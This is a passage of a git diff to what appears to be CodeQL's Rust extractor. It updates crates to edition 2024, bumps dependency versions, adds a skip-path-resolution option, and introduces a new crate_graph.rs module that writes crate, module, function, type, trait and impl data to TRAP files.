@@ -510,21 +527,27 @@ fn field_info_to_extractor_info(node: &AstNodeSrc, field: &FieldInfo) -> Extract
 fn node_to_extractor_info(node: &AstNodeSrc) -> ExtractorNodeInfo {
     let fields = get_fields(node);
     let has_attrs = fields.iter().any(|f| f.name == "attrs");
+    let name = class_name(&node.name);
+    let fields = fields
+        .iter()
+        .map(|f| field_info_to_extractor_info(&name, f))
+        .collect();
     ExtractorNodeInfo {
-        name: class_name(&node.name),
+        name,
         snake_case_name: to_lower_snake_case(&node.name),
         ast_name: node.name.clone(),
-        fields: fields
-            .iter()
-            .map(|f| field_info_to_extractor_info(node, f))
-            .collect(),
+        fields,
         has_attrs,
     }
 }
 
 fn write_extractor(grammar: &AstSrc) -> mustache::Result<String> {
     let extractor_info = ExtractorInfo {
-        enums: grammar.enums.iter().map(enum_to_extractor_info).collect(),
+        enums: grammar
+            .enums
+            .iter()
+            .filter_map(enum_to_extractor_info)
+            .collect(),
         nodes: grammar.nodes.iter().map(node_to_extractor_info).collect(),
     };
     let template = mustache::compile_str(include_str!("templates/extractor.mustache"))?;
diff --git a/rust/ast-generator/src/templates/extractor.mustache b/rust/ast-generator/src/templates/extractor.mustache
index 0532bb32ff72..c83881027bb5 100644
--- a/rust/ast-generator/src/templates/extractor.mustache
+++ b/rust/ast-generator/src/templates/extractor.mustache
@@ -25,7 +25,7 @@ impl Translator<'_> {
     pub(crate) fn emit_{{snake_case_name}}(&mut self, node: ast::{{ast_name}}) -> Option<Label<generated::{{name}}>> {
         match node {
             {{#variants}}
-            ast::{{ast_name}}::{{name}}(inner) => self.emit_{{snake_case_name}}(inner).map(Into::into),
+            ast::{{ast_name}}::{{variant_ast_name}}(inner) => self.emit_{{snake_case_name}}(inner).map(Into::into),
             {{/variants}}
         }
     }
diff --git a/rust/autobuild/Cargo.toml b/rust/autobuild/Cargo.toml
index 758ce92df295..240c1a89d482 100644
--- a/rust/autobuild/Cargo.toml
+++ b/rust/autobuild/Cargo.toml
@@ -1,7 +1,7 @@
 [package]
 name = "codeql-autobuilder-rust"
 version = "0.1.0"
-edition = "2021"
+edition = "2024"
 
 [dependencies]
 codeql-extractor = { path = "../../shared/tree-sitter-extractor" }
diff --git a/rust/codegen/BUILD.bazel b/rust/codegen/BUILD.bazel
index 5bc26aeb14fe..e1b51ca36614 100644
--- a/rust/codegen/BUILD.bazel
+++ b/rust/codegen/BUILD.bazel
@@ -3,7 +3,7 @@ load("@rules_shell//shell:sh_binary.bzl", "sh_binary")
 
 _args = [
     "//rust/ast-generator",
-    "//rust/ast-generator:ungram",
+    "//rust/ast-generator:rust.ungram",
     "//rust/ast-generator:Cargo.toml",
     "//misc/codegen",
     "//rust:codegen-conf",
diff --git a/rust/codeql-extractor.yml b/rust/codeql-extractor.yml
index 27f423134a67..1c73a070e587 100644
--- a/rust/codeql-extractor.yml
+++ b/rust/codeql-extractor.yml
@@ -78,3 +78,7 @@ options:
           Collect flame graph data using the `tracing-flame` crate. To render a flame graph
           or chart, run the `inferno-flamegraph` command. See also: https://crates.io/crates/tracing-flame
         type: string
+  skip_path_resolution:
+    title: Skip path resolution
+    description: >
+      Skip path resolution. This is experimental, while we move path resolution from the extractor to the QL library.
diff --git a/rust/extractor/Cargo.toml b/rust/extractor/Cargo.toml
index dc58faa1ce25..d4f6a1770743 100644
--- a/rust/extractor/Cargo.toml
+++ b/rust/extractor/Cargo.toml
@@ -1,30 +1,31 @@
 [package]
 name = "codeql-rust"
 version = "0.1.0"
-edition = "2021"
+edition = "2024"
 license = "MIT"
 
 # When updating these dependencies, run `rust/update_cargo_deps.sh`
 [dependencies]
-anyhow = "1.0.95"
-clap = { version = "4.5.26", features = ["derive"] }
+anyhow = "1.0.97"
+clap = { version = "4.5.32", features = ["derive"] }
 figment = { version = "0.10.19", features = ["env", "yaml"] }
 num-traits = "0.2.19"
-ra_ap_base_db = "0.0.258"
-ra_ap_hir = "0.0.258"
-ra_ap_hir_def = "0.0.258"
-ra_ap_ide_db = "0.0.258"
-ra_ap_hir_expand = "0.0.258"
-ra_ap_load-cargo = "0.0.258"
-ra_ap_paths = "0.0.258"
-ra_ap_project_model = "0.0.258"
-ra_ap_syntax = "0.0.258"
-ra_ap_vfs = "0.0.258"
-ra_ap_parser = "0.0.258"
-ra_ap_span = "0.0.258"
-ra_ap_cfg = "0.0.258"
-ra_ap_intern = "0.0.258"
-serde = "1.0.217"
+ra_ap_base_db = "0.0.270"
+ra_ap_hir = "0.0.270"
+ra_ap_hir_def = "0.0.270"
+ra_ap_ide_db = "0.0.270"
+ra_ap_hir_ty = "0.0.270"
+ra_ap_hir_expand = "0.0.270"
+ra_ap_load-cargo = "0.0.270"
+ra_ap_paths = "0.0.270"
+ra_ap_project_model = "0.0.270"
+ra_ap_syntax = "0.0.270"
+ra_ap_vfs = "0.0.270"
+ra_ap_parser = "0.0.270"
+ra_ap_span = "0.0.270"
+ra_ap_cfg = "0.0.270"
+ra_ap_intern = "0.0.270"
+serde = "1.0.219"
 serde_with = "3.12.0"
 triomphe = "0.1.14"
 argfile = "0.2.1"
@@ -32,10 +33,11 @@ codeql-extractor = { path = "../../shared/tree-sitter-extractor" }
 rust-extractor-macros = { path = "macros" }
 itertools = "0.14.0"
 glob = "0.3.2"
-chrono = { version = "0.4.39", features = ["serde"] }
-serde_json = "1.0.135"
+chrono = { version = "0.4.40", features = ["serde"] }
+serde_json = "1.0.140"
 dunce = "1.0.5"
-toml = "0.8.19"
+toml = "0.8.20"
 tracing = "0.1.41"
 tracing-flame = "0.2.0"
 tracing-subscriber = "0.3.19"
+chalk-ir = "0.100.0"
diff --git a/rust/extractor/macros/Cargo.toml b/rust/extractor/macros/Cargo.toml
index 24c5ff5171f1..c088e98ea76c 100644
--- a/rust/extractor/macros/Cargo.toml
+++ b/rust/extractor/macros/Cargo.toml
@@ -1,7 +1,7 @@
 [package]
 name = "rust-extractor-macros"
 version = "0.1.0"
-edition = "2021"
+edition = "2024"
 license = "MIT"
 
 [lib]
@@ -9,5 +9,5 @@ proc-macro = true
 
 # When updating these dependencies, run `rust/update_cargo_deps.sh`
 [dependencies]
-quote = "1.0.38"
-syn = { version = "2.0.96", features = ["full"] }
+quote = "1.0.40"
+syn = { version = "2.0.100", features = ["full"] }
diff --git a/rust/extractor/macros/src/lib.rs b/rust/extractor/macros/src/lib.rs
index b79f0cc29391..5ba496d4661d 100644
--- a/rust/extractor/macros/src/lib.rs
+++ b/rust/extractor/macros/src/lib.rs
@@ -96,7 +96,7 @@ pub fn extractor_cli_config(_attr: TokenStream, item: TokenStream) -> TokenStrea
         })
         .collect::<Vec<_>>();
 
-    let gen = quote! {
+    let ret = quote! {
         #[serde_with::apply(_ => #[serde(default)])]
         #[derive(Deserialize, Default)]
         pub struct #name {
@@ -118,5 +118,5 @@ pub fn extractor_cli_config(_attr: TokenStream, item: TokenStream) -> TokenStrea
             #(#cli_fields),*
         }
     };
-    gen.into()
+    ret.into()
 }
diff --git a/rust/extractor/src/config.rs b/rust/extractor/src/config.rs
index c87af7e77280..e66d54807be0 100644
--- a/rust/extractor/src/config.rs
+++ b/rust/extractor/src/config.rs
@@ -4,9 +4,9 @@ use anyhow::Context;
 use clap::Parser;
 use codeql_extractor::trap;
 use figment::{
+    Figment,
     providers::{Env, Format, Serialized, Yaml},
     value::Value,
-    Figment,
 };
 use itertools::Itertools;
 use ra_ap_cfg::{CfgAtom, CfgDiff};
@@ -66,6 +66,7 @@ pub struct Config {
     pub build_script_command: Vec<String>,
     pub extra_includes: Vec<PathBuf>,
     pub proc_macro_server: Option<PathBuf>,
+    pub skip_path_resolution: bool,
 }
 
 impl Config {
@@ -106,7 +107,7 @@ impl Config {
         let sysroot_src_input = self.sysroot_src.as_ref().map(|p| join_path_buf(dir, p));
         match (sysroot_input, sysroot_src_input) {
             (None, None) => Sysroot::discover(dir, &self.cargo_extra_env),
-            (Some(sysroot), None) => Sysroot::discover_sysroot_src_dir(sysroot),
+            (Some(sysroot), None) => Sysroot::discover_rust_lib_src_dir(sysroot),
             (None, Some(sysroot_src)) => {
                 Sysroot::discover_with_src_override(dir, &self.cargo_extra_env, sysroot_src)
             }
@@ -130,7 +131,7 @@ impl Config {
         (
             CargoConfig {
                 all_targets: self.cargo_all_targets,
-                sysroot_src: sysroot.src_root().map(ToOwned::to_owned),
+                sysroot_src: sysroot.rust_lib_src_root().map(ToOwned::to_owned),
                 rustc_source: self
                     .rustc_src
                     .as_ref()
@@ -212,8 +213,7 @@ fn to_cfg_overrides(specs: &Vec<String>) -> CfgOverrides {
     }
     let enabled_cfgs = enabled_cfgs.into_iter().collect();
     let disabled_cfgs = disabled_cfgs.into_iter().collect();
-    let global = CfgDiff::new(enabled_cfgs, disabled_cfgs)
-        .expect("There should be no duplicate cfgs by construction");
+    let global = CfgDiff::new(enabled_cfgs, disabled_cfgs);
     CfgOverrides {
         global,
         ..Default::default()
diff --git a/rust/extractor/src/config/deserialize.rs b/rust/extractor/src/config/deserialize.rs
index 5953acd86057..4f3d96897909 100644
--- a/rust/extractor/src/config/deserialize.rs
+++ b/rust/extractor/src/config/deserialize.rs
@@ -1,5 +1,5 @@
-use serde::de::{Error, Unexpected, Visitor};
 use serde::Deserializer;
+use serde::de::{Error, Unexpected, Visitor};
 use std::collections::HashMap;
 use std::fmt::Formatter;
 use std::hash::BuildHasher;
diff --git a/rust/extractor/src/crate_graph.rs b/rust/extractor/src/crate_graph.rs
new file mode 100644
index 000000000000..bc0389e8ce5f
--- /dev/null
+++ b/rust/extractor/src/crate_graph.rs
@@ -0,0 +1,1364 @@
+use crate::{
+    generated::{self},
+    trap::{self, TrapFile},
+};
+use chalk_ir::IntTy;
+use chalk_ir::Scalar;
+use chalk_ir::UintTy;
+use chalk_ir::{FloatTy, Safety};
+use itertools::Itertools;
+use ra_ap_base_db::{Crate, RootQueryDb};
+use ra_ap_cfg::CfgAtom;
+use ra_ap_hir::{DefMap, ModuleDefId, PathKind, db::HirDatabase};
+use ra_ap_hir::{VariantId, Visibility, db::DefDatabase};
+use ra_ap_hir_def::Lookup;
+use ra_ap_hir_def::{
+    AssocItemId, LocalModuleId, data::adt::VariantData, item_scope::ImportOrGlob,
+    item_tree::ImportKind, nameres::ModuleData, path::ImportAlias,
+};
+use ra_ap_hir_def::{HasModule, visibility::VisibilityExplicitness};
+use ra_ap_hir_def::{ModuleId, resolver::HasResolver};
+use ra_ap_hir_ty::TraitRefExt;
+use ra_ap_hir_ty::Ty;
+use ra_ap_hir_ty::TyExt;
+use ra_ap_hir_ty::WhereClause;
+use ra_ap_hir_ty::{Binders, FnPointer};
+use ra_ap_hir_ty::{Interner, ProjectionTy};
+use ra_ap_ide_db::RootDatabase;
+use ra_ap_vfs::{Vfs, VfsPath};
+
+use std::hash::Hasher;
+use std::{cmp::Ordering, collections::HashMap, path::PathBuf};
+use std::{hash::Hash, vec};
+use tracing::{debug, error};
+
+pub fn extract_crate_graph(trap_provider: &trap::TrapFileProvider, db: &RootDatabase, vfs: &Vfs) {
+    let crate_graph = db.all_crates();
+
+    // According to the documentation of `CrateGraph`:
+    // Each crate is defined by the `FileId` of its root module, the set of enabled
+    // `cfg` flags and the set of dependencies.
+
+    // First compute a hash map with for each crate ID, the path to its root module and a hash of all
+    // its `cfg` flags and dependencies hashes. Iterate in topological order to ensure hashes of dependencies
+    // are present in the map.
+    let mut crate_id_map = HashMap::<Crate, (PathBuf, u64)>::new();
+    for krate_id in crate_graph.as_ref().iter() {
+        let krate = krate_id.data(db);
+        let root_module_file: &VfsPath = vfs.file_path(krate.root_file_id);
+        if let Some(root_module_file) = root_module_file
+            .as_path()
+            .map(|p| std::fs::canonicalize(p).unwrap_or(p.into()))
+        {
+            let mut hasher = std::hash::DefaultHasher::new();
+            krate_id
+                .cfg_options(db)
+                .into_iter()
+                .sorted_by(cmp_flag)
+                .for_each(|x| format!("{x}").hash(&mut hasher));
+
+            krate
+                .dependencies
+                .iter()
+                .flat_map(|d| crate_id_map.get(&d.crate_id))
+                .sorted()
+                .for_each(|x| x.hash(&mut hasher));
+            let hash = hasher.finish();
+            crate_id_map.insert(*krate_id, (root_module_file, hash));
+        }
+    }
+    // Extract each crate
+    for krate_id in crate_graph.as_ref().iter() {
+        if let Some((root_module_file, hash)) = crate_id_map.get(krate_id) {
+            let path = root_module_file.join(format!("{hash:0>16x}"));
+            let mut trap = trap_provider.create("crates", path.as_path());
+            // If the trap file already exists, then skip extraction because we have already extracted
+            // this crate with the same `cfg` flags and dependencies.
+            // FIXME: this may need to b improved in case the implemenation becomes multi-threaded
+            if trap.path.exists() {
+                continue;
+            }
+            let krate = krate_id.data(db);
+            let root_module = emit_module(
+                db,
+                db.crate_def_map(*krate_id).as_ref(),
+                "crate",
+                DefMap::ROOT,
+                &mut trap,
+            );
+            let file_label = trap.emit_file(root_module_file);
+            trap.emit_file_only_location(file_label, root_module);
+
+            let crate_dependencies: Vec<generated::NamedCrate> = krate
+                .dependencies
+                .iter()
+                .flat_map(|x| crate_id_map.get(&x.crate_id).map(|y| (&x.name, y)))
+                .map(|(name, (module, hash))| generated::NamedCrate {
+                    id: trap::TrapId::Star,
+                    name: name.to_string(),
+                    crate_: trap.label(format!("{}:{hash}", module.display()).into()),
+                })
+                .collect();
+
+            let krate_extra = krate_id.extra_data(db);
+            let element = generated::Crate {
+                id: trap::TrapId::Key(format!("{}:{hash}", root_module_file.display())),
+                name: krate_extra
+                    .display_name
+                    .as_ref()
+                    .map(|x| x.canonical_name().to_string()),
+                version: krate_extra.version.to_owned(),
+                module: Some(root_module),
+                cfg_options: krate_id
+                    .cfg_options(db)
+                    .into_iter()
+                    .map(|x| format!("{x}"))
+                    .collect(),
+                named_dependencies: crate_dependencies
+                    .into_iter()
+                    .map(|dep| trap.emit(dep))
+                    .collect(),
+            };
+            trap.emit(element);
+            trap.commit().unwrap_or_else(|err| {
+                error!(
+                    "Failed to write trap file for crate: {}: {}",
+                    root_module_file.display(),
+                    err.to_string()
+                )
+            });
+        }
+    }
+}
+
+fn emit_module(
+    db: &dyn HirDatabase,
+    map: &DefMap,
+    name: &str,
+    module: LocalModuleId,
+    trap: &mut TrapFile,
+) -> trap::Label<generated::Module> {
+    let module = &map.modules[module];
+    let mut items = Vec::new();
+    items.extend(emit_module_children(db, map, module, trap));
+    items.extend(emit_module_items(db, module, trap));
+    items.extend(emit_module_impls(db, module, trap));
+
+    let name = trap.emit(generated::Name {
+        id: trap::TrapId::Star,
+        text: Some(name.to_owned()),
+    });
+    let item_list = trap.emit(generated::ItemList {
+        id: trap::TrapId::Star,
+        attrs: vec![],
+        items,
+    });
+    let visibility = emit_visibility(db, trap, module.visibility);
+    trap.emit(generated::Module {
+        id: trap::TrapId::Star,
+        name: Some(name),
+        attrs: vec![],
+        item_list: Some(item_list),
+        visibility,
+    })
+}
+
+fn emit_module_children(
+    db: &dyn HirDatabase,
+    map: &DefMap,
+    module: &ModuleData,
+    trap: &mut TrapFile,
+) -> Vec<trap::Label<generated::Item>> {
+    module
+        .children
+        .iter()
+        .sorted_by(|a, b| Ord::cmp(&a.0, &b.0))
+        .map(|(name, child)| emit_module(db, map, name.as_str(), *child, trap).into())
+        .collect()
+}
+
+fn emit_reexport(
+    db: &dyn HirDatabase,
+    trap: &mut TrapFile,
+    uses: &mut HashMap<String, trap::Label<generated::Item>>,
+    import: ImportOrGlob,
+    name: &str,
+) {
+    let (use_, idx) = match import {
+        ImportOrGlob::Glob(import) => (import.use_, import.idx),
+        ImportOrGlob::Import(import) => (import.use_, import.idx),
+    };
+    let def_db = db.upcast();
+    let loc = use_.lookup(def_db);
+    let use_ = &loc.id.item_tree(def_db)[loc.id.value];
+
+    use_.use_tree.expand(|id, path, kind, alias| {
+        if id == idx {
+            let mut path_components = Vec::new();
+            match path.kind {
+                PathKind::Plain => (),
+                PathKind::Super(0) => path_components.push("self".to_owned()),
+                PathKind::Super(n) => {
+                    path_components.extend(std::iter::repeat_n("super".to_owned(), n.into()));
+                }
+                PathKind::Crate => path_components.push("crate".to_owned()),
+                PathKind::Abs => path_components.push("".to_owned()),
+                PathKind::DollarCrate(crate_id) => {
+                    let crate_extra = crate_id.extra_data(db);
+                    let crate_name = crate_extra
+                        .display_name
+                        .as_ref()
+                        .map(|x| x.canonical_name().to_string());
+                    path_components.push(crate_name.unwrap_or("crate".to_owned()));
+                }
+            }
+            path_components.extend(path.segments().iter().map(|x| x.as_str().to_owned()));
+            match kind {
+                ImportKind::Plain => (),
+                ImportKind::Glob => path_components.push(name.to_owned()),
+                ImportKind::TypeOnly => path_components.push("self".to_owned()),
+            };
+
+            let alias = alias.map(|alias| match alias {
+                ImportAlias::Underscore => "_".to_owned(),
+                ImportAlias::Alias(name) => name.as_str().to_owned(),
+            });
+            let key = format!(
+                "{} as {}",
+                path_components.join("::"),
+                alias.as_ref().unwrap_or(&"".to_owned())
+            );
+            // prevent duplicate imports
+            if uses.contains_key(&key) {
+                return;
+            }
+            let rename = alias.map(|name| {
+                let name = Some(trap.emit(generated::Name {
+                    id: trap::TrapId::Star,
+                    text: Some(name),
+                }));
+                trap.emit(generated::Rename {
+                    id: trap::TrapId::Star,
+                    name,
+                })
+            });
+            let path = make_qualified_path(trap, path_components);
+            let use_tree = trap.emit(generated::UseTree {
+                id: trap::TrapId::Star,
+                is_glob: false,
+                path,
+                rename,
+                use_tree_list: None,
+            });
+            let visibility = emit_visibility(db, trap, Visibility::Public);
+            uses.insert(
+                key,
+                trap.emit(generated::Use {
+                    id: trap::TrapId::Star,
+                    attrs: vec![],
+                    use_tree: Some(use_tree),
+                    visibility,
+                })
+                .into(),
+            );
+        }
+    });
+}
+
+fn emit_module_items(
+    db: &dyn HirDatabase,
+    module: &ModuleData,
+    trap: &mut TrapFile,
+) -> Vec<trap::Label<generated::Item>> {
+    let mut items = Vec::new();
+    let mut uses = HashMap::new();
+    let item_scope = &module.scope;
+    for (name, item) in item_scope.entries() {
+        let def = item.filter_visibility(|x| matches!(x, ra_ap_hir::Visibility::Public));
+        if let Some(ra_ap_hir_def::per_ns::Item {
+            def: _,
+            vis: _,
+            import: Some(import),
+        }) = def.values
+        {
+            emit_reexport(db, trap, &mut uses, import, name.as_str());
+        }
+        if let Some(ra_ap_hir_def::per_ns::Item {
+            def: value,
+            vis,
+            import: None,
+        }) = def.values
+        {
+            match value {
+                ModuleDefId::FunctionId(function) => {
+                    items.extend(emit_function(db, name.as_str(), trap, function, vis));
+                }
+                ModuleDefId::ConstId(konst) => {
+                    items.extend(emit_const(db, name.as_str(), trap, konst, vis));
+                }
+                ModuleDefId::StaticId(statik) => {
+                    items.extend(emit_static(db, name.as_str(), trap, statik, vis));
+                }
+                ModuleDefId::EnumVariantId(variant_id) => {
+                    items.extend(emit_enum_variant(db, name.as_str(), trap, variant_id, vis));
+                }
+                _ => (),
+            }
+        }
+        if let Some(ra_ap_hir_def::per_ns::Item {
+            def: _,
+            vis: _,
+            import: Some(import),
+        }) = def.types
+        {
+            // TODO: handle ExternCrate as well?
+            if let Some(import) = import.import_or_glob() {
+                emit_reexport(db, trap, &mut uses, import, name.as_str());
+            }
+        }
+        if let Some(ra_ap_hir_def::per_ns::Item {
+            def: type_id,
+            vis,
+            import: None,
+        }) = def.types
+        {
+            match type_id {
+                ModuleDefId::AdtId(adt_id) => {
+                    items.extend(emit_adt(db, name.as_str(), trap, adt_id, vis));
+                }
+                ModuleDefId::TraitId(trait_id) => {
+                    items.extend(emit_trait(db, name.as_str(), trap, trait_id, vis));
+                }
+                _ => (),
+            }
+        }
+    }
+    items.extend(uses.values());
+    items
+}
+
+fn emit_function(
+    db: &dyn HirDatabase,
+    name: &str,
+    trap: &mut TrapFile,
+    function: ra_ap_hir_def::FunctionId,
+    visibility: Visibility,
+) -> Vec<trap::Label<generated::Item>> {
+    let mut items = Vec::new();
+    if let Some(type_) = db.value_ty(function.into()) {
+        items.push(const_or_function(db, name, trap, type_, visibility));
+    }
+    items
+}
+
+fn emit_const(
+    db: &dyn HirDatabase,
+    name: &str,
+    trap: &mut TrapFile,
+    konst: ra_ap_hir_def::ConstId,
+    visibility: Visibility,
+) -> Vec<trap::Label<generated::Item>> {
+    let mut items = Vec::new();
+    let type_ = db.value_ty(konst.into());
+    let type_repr = type_.and_then(|type_| emit_hir_ty(trap, db, type_.skip_binders()));
+    let name = Some(trap.emit(generated::Name {
+        id: trap::TrapId::Star,
+        text: Some(name.to_owned()),
+    }));
+    let konst = db.const_data(konst);
+    let visibility = emit_visibility(db, trap, visibility);
+    items.push(
+        trap.emit(generated::Const {
+            id: trap::TrapId::Star,
+            name,
+            attrs: vec![],
+            body: None,
+            is_const: true,
+            is_default: konst.has_body,
+            type_repr,
+            visibility,
+        })
+        .into(),
+    );
+    items
+}
+
+fn emit_static(
+    db: &dyn HirDatabase,
+    name: &str,
+    trap: &mut TrapFile,
+    statik: ra_ap_hir_def::StaticId,
+    visibility: Visibility,
+) -> Vec<trap::Label<generated::Item>> {
+    let mut items = Vec::new();
+    let type_ = db.value_ty(statik.into());
+    let type_repr = type_.and_then(|type_| emit_hir_ty(trap, db, type_.skip_binders()));
+    let name = Some(trap.emit(generated::Name {
+        id: trap::TrapId::Star,
+        text: Some(name.to_owned()),
+    }));
+    let statik = db.static_data(statik);
+    let visibility = emit_visibility(db, trap, visibility);
+    items.push(
+        trap.emit(generated::Static {
+            id: trap::TrapId::Star,
+            name,
+            attrs: vec![],
+            body: None,
+            type_repr,
+            visibility,
+            is_mut: statik.mutable,
+            is_static: true,
+            is_unsafe: statik.has_unsafe_kw,
+        })
+        .into(),
+    );
+    items
+}
+
+fn emit_enum_variant(
+    db: &dyn HirDatabase,
+    name: &str,
+    trap: &mut TrapFile,
+    variant_id: ra_ap_hir_def::EnumVariantId,
+    visibility: Visibility,
+) -> Vec<trap::Label<generated::Item>> {
+    let mut items = Vec::new();
+    if let Some(type_) = db.value_ty(variant_id.into()) {
+        items.push(const_or_function(db, name, trap, type_, visibility));
+    }
+    items
+}
+
+fn emit_adt(
+    db: &dyn HirDatabase,
+    name: &str,
+    trap: &mut TrapFile,
+    adt_id: ra_ap_hir_def::AdtId,
+    visibility: Visibility,
+) -> Vec<trap::Label<generated::Item>> {
+    let mut items = Vec::new();
+    match adt_id {
+        ra_ap_hir_def::AdtId::StructId(struct_id) => {
+            let name = Some(trap.emit(generated::Name {
+                id: trap::TrapId::Star,
+                text: Some(name.to_owned()),
+            }));
+            let field_list = emit_variant_data(trap, db, struct_id.into()).into();
+            let visibility = emit_visibility(db, trap, visibility);
+            items.push(
+                trap.emit(generated::Struct {
+                    id: trap::TrapId::Star,
+                    name,
+                    attrs: vec![],
+                    field_list,
+                    generic_param_list: None,
+                    visibility,
+                    where_clause: None,
+                })
+                .into(),
+            );
+        }
+        ra_ap_hir_def::AdtId::EnumId(enum_id) => {
+            let data = db.enum_variants(enum_id);
+            let variants = data
+                .variants
+                .iter()
+                .map(|(enum_id, name)| {
+                    let name = Some(trap.emit(generated::Name {
+                        id: trap::TrapId::Star,
+                        text: Some(name.as_str().to_owned()),
+                    }));
+                    let field_list = emit_variant_data(trap, db, (*enum_id).into()).into();
+                    let visibility = None;
+                    trap.emit(generated::Variant {
+                        id: trap::TrapId::Star,
+                        name,
+                        field_list,
+                        attrs: vec![],
+                        discriminant: None,
+                        visibility,
+                    })
+                })
+                .collect();
+            let variant_list = Some(trap.emit(generated::VariantList {
+                id: trap::TrapId::Star,
+                variants,
+            }));
+            let name = Some(trap.emit(generated::Name {
+                id: trap::TrapId::Star,
+                text: Some(name.to_owned()),
+            }));
+            let visibility = emit_visibility(db, trap, visibility);
+            items.push(
+                trap.emit(generated::Enum {
+                    id: trap::TrapId::Star,
+                    name,
+                    attrs: vec![],
+                    generic_param_list: None,
+                    variant_list,
+                    visibility,
+                    where_clause: None,
+                })
+                .into(),
+            );
+        }
+        ra_ap_hir_def::AdtId::UnionId(union_id) => {
+            let name = Some(trap.emit(generated::Name {
+                id: trap::TrapId::Star,
+                text: Some(name.to_owned()),
+            }));
+            let struct_field_list = emit_variant_data(trap, db, union_id.into()).into();
+            let visibility = emit_visibility(db, trap, visibility);
+            items.push(
+                trap.emit(generated::Union {
+                    id: trap::TrapId::Star,
+                    name,
+                    attrs: vec![],
+                    struct_field_list,
+                    generic_param_list: None,
+                    visibility,
+                    where_clause: None,
+                })
+                .into(),
+            );
+        }
+    }
+    items
+}
+
+fn emit_trait(
+    db: &dyn HirDatabase,
+    name: &str,
+    trap: &mut TrapFile,
+    trait_id: ra_ap_hir_def::TraitId,
+    visibility: Visibility,
+) -> Vec<trap::Label<generated::Item>> {
+    let mut items = Vec::new();
+    let data = db.trait_items(trait_id);
+    let assoc_items: Vec<trap::Label<generated::AssocItem>> = data
+        .items
+        .iter()
+        .flat_map(|(name, item)| {
+            if let AssocItemId::FunctionId(function) = item {
+                let sig = db.callable_item_signature((*function).into());
+                let sig = sig.skip_binders();
+                let params = sig
+                    .params()
+                    .iter()
+                    .map(|p| {
+                        let type_repr = emit_hir_ty(trap, db, p);
+                        trap.emit(generated::Param {
+                            id: trap::TrapId::Star,
+                            attrs: vec![],
+                            type_repr,
+                            pat: None,
+                        })
+                    })
+                    .collect();
+
+                let ret_type = emit_hir_ty(trap, db, sig.ret());
+                let param_list = trap.emit(generated::ParamList {
+                    id: trap::TrapId::Star,
+                    params,
+                    self_param: None,
+                });
+                let ret_type = ret_type.map(|ret_type| {
+                    trap.emit(generated::RetTypeRepr {
+                        id: trap::TrapId::Star,
+                        type_repr: Some(ret_type),
+                    })
+                });
+                let name = Some(trap.emit(generated::Name {
+                    id: trap::TrapId::Star,
+                    text: Some(name.as_str().to_owned()),
+                }));
+                let visibility = emit_visibility(db, trap, visibility);
+                Some(
+                    trap.emit(generated::Function {
+                        id: trap::TrapId::Star,
+                        name,
+                        attrs: vec![],
+                        body: None,
+                        is_const: false,
+                        is_default: false,
+                        visibility,
+                        abi: None,
+                        is_async: false,
+                        is_gen: false,
+                        is_unsafe: matches!(sig.to_fn_ptr().sig.safety, Safety::Unsafe),
+                        generic_param_list: None, //TODO
+                        param_list: Some(param_list),
+                        ret_type,
+                        where_clause: None,
+                    })
+                    .into(),
+                )
+            } else {
+                None
+            }
+        })
+        .collect();
+    let assoc_item_list = Some(trap.emit(generated::AssocItemList {
+        id: trap::TrapId::Star,
+        assoc_items,
+        attrs: vec![],
+    }));
+    let name = Some(trap.emit(generated::Name {
+        id: trap::TrapId::Star,
+        text: Some(name.to_owned()),
+    }));
+    let visibility = emit_visibility(db, trap, visibility);
+    items.push(
+        trap.emit(generated::Trait {
+            id: trap::TrapId::Star,
+            name,
+            assoc_item_list,
+            attrs: vec![],
+            generic_param_list: None,
+            is_auto: false,
+            is_unsafe: false,
+            type_bound_list: None,
+            visibility,
+            where_clause: None,
+        })
+        .into(),
+    );
+    items
+}
+
+fn emit_module_impls(
+    db: &dyn HirDatabase,
+    module: &ModuleData,
+    trap: &mut TrapFile,
+) -> Vec<trap::Label<generated::Item>> {
+    let mut items = Vec::new();
+    module.scope.impls().for_each(|imp| {
+        let self_ty = db.impl_self_ty(imp);
+        let self_ty = emit_hir_ty(trap, db, self_ty.skip_binders());
+        let imp_data = db.impl_data(imp);
+        let trait_ = imp_data
+            .target_trait
+            .as_ref()
+            .and_then(|t| make_qualified_path(trap, emit_hir_path(&imp_data.types_map[t.path])));
+        let trait_ = trait_.map(|trait_| {
+            trap.emit(generated::PathTypeRepr {
+                id: trap::TrapId::Star,
+                path: Some(trait_),
+            })
+            .into()
+        });
+        let imp_items = db.impl_items(imp);
+        let assoc_items = imp_items
+            .items
+            .iter()
+            .flat_map(|item| {
+                if let (name, AssocItemId::FunctionId(function)) = item {
+                    let sig = db.callable_item_signature((*function).into());
+                    let sig = sig.skip_binders();
+                    let params = sig
+                        .params()
+                        .iter()
+                        .map(|p| {
+                            let type_repr = emit_hir_ty(trap, db, p);
+                            trap.emit(generated::Param {
+                                id: trap::TrapId::Star,
+                                attrs: vec![],
+                                type_repr,
+                                pat: None,
+                            })
+                        })
+                        .collect();
+
+                    let ret_type = emit_hir_ty(trap, db, sig.ret());
+                    let param_list = trap.emit(generated::ParamList {
+                        id: trap::TrapId::Star,
+                        params,
+                        self_param: None,
+                    });
+                    let ret_type = ret_type.map(|ret_type| {
+                        trap.emit(generated::RetTypeRepr {
+                            id: trap::TrapId::Star,
+                            type_repr: Some(ret_type),
+                        })
+                    });
+                    let name = Some(trap.emit(generated::Name {
+                        id: trap::TrapId::Star,
+                        text: Some(name.as_str().to_owned()),
+                    }));
+                    let data = db.function_data(*function);
+                    let visibility = emit_visibility(
+                        db,
+                        trap,
+                        data.visibility
+                            .resolve(db.upcast(), &function.resolver(db.upcast())),
+                    );
+
+                    Some(
+                        trap.emit(generated::Function {
+                            id: trap::TrapId::Star,
+                            name,
+                            attrs: vec![],
+                            body: None,
+                            is_const: false,
+                            is_default: false,
+                            visibility,
+                            abi: None,
+                            is_async: false,
+                            is_gen: false,
+                            is_unsafe: matches!(sig.to_fn_ptr().sig.safety, Safety::Unsafe),
+                            generic_param_list: None, //TODO
+                            param_list: Some(param_list),
+                            ret_type,
+                            where_clause: None,
+                        })
+                        .into(),
+                    )
+                } else {
+                    None
+                }
+            })
+            .collect();
+        let assoc_item_list = Some(trap.emit(generated::AssocItemList {
+            id: trap::TrapId::Star,
+            assoc_items,
+            attrs: vec![],
+        }));
+        items.push(
+            trap.emit(generated::Impl {
+                id: trap::TrapId::Star,
+                trait_,
+                self_ty,
+                assoc_item_list,
+                attrs: vec![],
+                generic_param_list: None,
+                is_const: false,
+                is_default: false,
+                is_unsafe: false,
+                visibility: None,
+                where_clause: None,
+            })
+            .into(),
+        );
+    });
+    items
+}
+
